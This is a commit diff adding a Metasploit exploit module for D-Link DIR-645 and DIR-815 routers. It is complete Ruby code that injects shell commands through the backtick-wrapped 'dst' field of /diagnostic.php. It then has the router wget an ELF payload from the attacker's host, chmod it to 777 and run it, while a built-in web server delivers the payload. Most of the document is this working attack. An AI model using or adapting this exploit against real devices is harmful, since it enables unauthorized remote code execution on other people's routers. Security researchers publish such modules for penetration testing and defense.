Landing rapid7#1719, @m-1-k-3 dlink_diagnostic_exec_noauth exploit module

Author: jvazquez-r7

modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb

@@ -0,0 +1,225 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Exploit::Remote::HttpServer
+	include Msf::Exploit::EXE
+	include Msf::Exploit::FileDropper
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'        => 'DLink DIR-645 / DIR-815 diagnostic.php Command Execution',
+			'Description' => %q{
+					Some DLink Routers are vulnerable to OS Command injection in the web interface.
+				On DIR-645 versions prior 1.03 authentication isn't needed to exploit it. On
+				version 1.03 authentication is needed in order to trigger the vulnerability, which
+				has been fixed definitely on version 1.04. Other DLink products, like DIR-300 rev B
+				and DIR-600, are also affected by this vulnerability. Not every device includes
+				wget which we need for deploying our payload. On such devices you could use the cmd
+				generic payload and try to start telnetd or execute other commands. Since it is a
+				blind os command injection vulnerability, there is no output for the executed
+				command when using the cmd generic payload. A ping command against a controlled
+				system could be used for testing purposes. This module has been tested successfully
+				on DIR-645 prior to 1.03, where authentication isn't needed in order to exploit the
+				vulnerability.
+			},
+			'Author'      =>
+				[
+					'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module
+					'juan vazquez' # minor help with msf module
+				],
+			'License'     => MSF_LICENSE,
+			'References'  =>
+				[
+					[ 'OSVDB', '92144' ],
+					[ 'BID', '58938' ],
+					[ 'EDB', '24926' ],
+					[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-017' ]
+				],
+			'DisclosureDate' => 'Mar 05 2013',
+			'Privileged'     => true,
+			'Platform'       => ['linux','unix'],
+			'Payload'        =>
+				{
+					'DisableNops' => true
+				},
+			'Targets'        =>
+				[
+					[ 'CMD',
+						{
+						'Arch' => ARCH_CMD,
+						'Platform' => 'unix'
+						}
+					],
+					[ 'Linux mipsel Payload',
+						{
+						'Arch' => ARCH_MIPSLE,
+						'Platform' => 'linux'
+						}
+					],
+				],
+			'DefaultTarget'  => 1
+			))
+
+		register_options(
+			[
+				OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
+				OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
+				OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
+			], self.class)
+	end
+
+
+	def request(cmd,uri)
+		begin
+			res = send_request_cgi({
+				'uri'    => uri,
+				'method' => 'POST',
+				'vars_post' => {
+					"act" => "ping",
+					"dst" => "` #{cmd}`"				}
+			})
+			return res
+		rescue ::Rex::ConnectionError
+			vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
+			return nil
+		end
+	end
+
+	def exploit
+		downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
+		uri = '/diagnostic.php'
+
+		if target.name =~ /CMD/
+			if not (datastore['CMD'])
+				fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
+			end
+			cmd = payload.encoded
+			res = request(cmd,uri)
+			if (!res)
+				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
+			end
+			print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
+			return
+		end
+
+		#thx to Juan for his awesome work on the mipsel elf support
+		@pl = generate_payload_exe
+		@elf_sent = false
+
+		#
+		# start our server
+		#
+		resource_uri = '/' + downfile
+
+		if (datastore['DOWNHOST'])
+			service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
+		else
+			#do not use SSL
+			if datastore['SSL']
+				ssl_restore = true
+				datastore['SSL'] = false
+			end
+
+			#we use SRVHOST as download IP for the coming wget command.
+			#SRVHOST needs a real IP address of our download host
+			if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
+				srv_host = Rex::Socket.source_address(rhost)
+			else
+				srv_host = datastore['SRVHOST']
+			end
+
+			service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
+
+			print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
+			start_service({'Uri' => {
+				'Proc' => Proc.new { |cli, req|
+					on_request_uri(cli, req)
+				},
+				'Path' => resource_uri
+			}})
+
+			datastore['SSL'] = true if ssl_restore
+		end
+
+		#
+		# download payload
+		#
+		print_status("#{rhost}:#{rport} - Asking the DLink device to download #{service_url}")
+		#this filename is used to store the payload on the device
+		filename = rand_text_alpha_lower(8)
+
+		#not working if we send all command together -> lets take three requests
+		cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
+		res = request(cmd,uri)
+		if (!res)
+			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
+		end
+
+		# wait for payload download
+		if (datastore['DOWNHOST'])
+			print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Dlink device to download the payload")
+			select(nil, nil, nil, datastore['HTTP_DELAY'])
+		else
+			wait_linux_payload
+		end
+		register_file_for_cleanup("/tmp/#{filename}")
+
+		#
+		# chmod
+		#
+		cmd = "chmod 777 /tmp/#{filename}"
+		print_status("#{rhost}:#{rport} - Asking the Dlink device to chmod #{downfile}")
+		res = request(cmd,uri)
+		if (!res)
+			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
+		end
+
+		#
+		# execute
+		#
+		cmd = "/tmp/#{filename}"
+		print_status("#{rhost}:#{rport} - Asking the Dlink device to execute #{downfile}")
+		res = request(cmd,uri)
+		if (!res)
+			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
+		end
+
+	end
+
+	# Handle incoming requests from the server
+	def on_request_uri(cli, request)
+		#print_status("on_request_uri called: #{request.inspect}")
+		if (not @pl)
+			print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
+			return
+		end
+		print_status("#{rhost}:#{rport} - Sending the payload to the server...")
+		@elf_sent = true
+		send_response(cli, @pl)
+	end
+
+	# wait for the data to be sent
+	def wait_linux_payload
+		print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
+
+		waited = 0
+		while (not @elf_sent)
+			select(nil, nil, nil, 1)
+			waited += 1
+			if (waited > datastore['HTTP_DELAY'])
+				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
+			end
+		end
+	end
+
+end